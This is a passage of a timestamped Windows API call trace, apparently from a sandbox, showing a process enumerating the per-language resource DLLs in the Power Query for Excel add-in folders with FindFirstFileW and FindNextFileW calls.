ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0115.076] FindNextFileW (in: hFindFile=0x37e8858, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0115.076] FindNextFileW (in: hFindFile=0x37e8858, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0115.076] FindNextFileW (in: hFindFile=0x37e8858, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0115.077] FindClose (in: hFindFile=0x37e8858 | out: hFindFile=0x37e8858) returned 1 [0115.078] GetProcessHeap () returned 0xc00000 [0115.078] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0115.078] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0115.078] GetProcessHeap () returned 0xc00000 [0115.078] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0115.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hr\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8758 [0115.080] FindNextFileW (in: hFindFile=0x37e8758, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.080] FindNextFileW (in: hFindFile=0x37e8758, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0115.080] FindNextFileW (in: hFindFile=0x37e8758, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0115.080] FindNextFileW (in: hFindFile=0x37e8758, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0115.080] FindNextFileW (in: hFindFile=0x37e8758, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17ef5ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17ef5ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0115.080] FindNextFileW (in: hFindFile=0x37e8758, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17ef5ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17ef5ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0115.081] FindClose (in: hFindFile=0x37e8758 | out: hFindFile=0x37e8758) returned 1 [0115.082] GetProcessHeap () returned 0xc00000 [0115.082] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0115.082] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0115.082] GetProcessHeap () returned 0xc00000 [0115.082] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0115.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\hu\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8698 [0115.084] FindNextFileW (in: hFindFile=0x37e8698, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.084] FindNextFileW (in: hFindFile=0x37e8698, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0115.084] FindNextFileW (in: hFindFile=0x37e8698, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ebbef3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0115.084] FindNextFileW (in: hFindFile=0x37e8698, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0115.084] FindNextFileW (in: hFindFile=0x37e8698, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x92aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0115.084] FindNextFileW (in: hFindFile=0x37e8698, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x92aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0115.084] FindClose (in: hFindFile=0x37e8698 | out: hFindFile=0x37e8698) returned 1 [0115.085] GetProcessHeap () returned 0xc00000 [0115.085] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0115.085] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0115.085] GetProcessHeap () returned 0xc00000 [0115.085] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0115.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8458 [0115.088] FindNextFileW (in: hFindFile=0x37e8458, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.088] FindNextFileW (in: hFindFile=0x37e8458, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0115.088] FindNextFileW (in: hFindFile=0x37e8458, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0115.088] FindNextFileW (in: hFindFile=0x37e8458, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0115.088] FindNextFileW (in: hFindFile=0x37e8458, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0115.088] FindNextFileW (in: hFindFile=0x37e8458, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0115.088] FindClose (in: hFindFile=0x37e8458 | out: hFindFile=0x37e8458) returned 1 [0115.089] GetProcessHeap () returned 0xc00000 [0115.089] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0115.090] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0115.090] GetProcessHeap () returned 0xc00000 [0115.090] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0115.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8218 [0115.093] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.093] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc240ad7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc240ad7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0115.094] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5fc257f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5fc257f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6034d6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0115.094] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6270fd0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0115.094] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0115.094] FindNextFileW (in: hFindFile=0x37e8218, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa89f599, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8caa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0115.094] FindClose (in: hFindFile=0x37e8218 | out: hFindFile=0x37e8218) returned 1 [0115.095] GetProcessHeap () returned 0xc00000 [0115.095] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0115.095] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0115.095] GetProcessHeap () returned 0xc00000 [0115.095] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0115.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8118 [0115.098] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.098] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0115.098] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91adba5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0115.098] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, 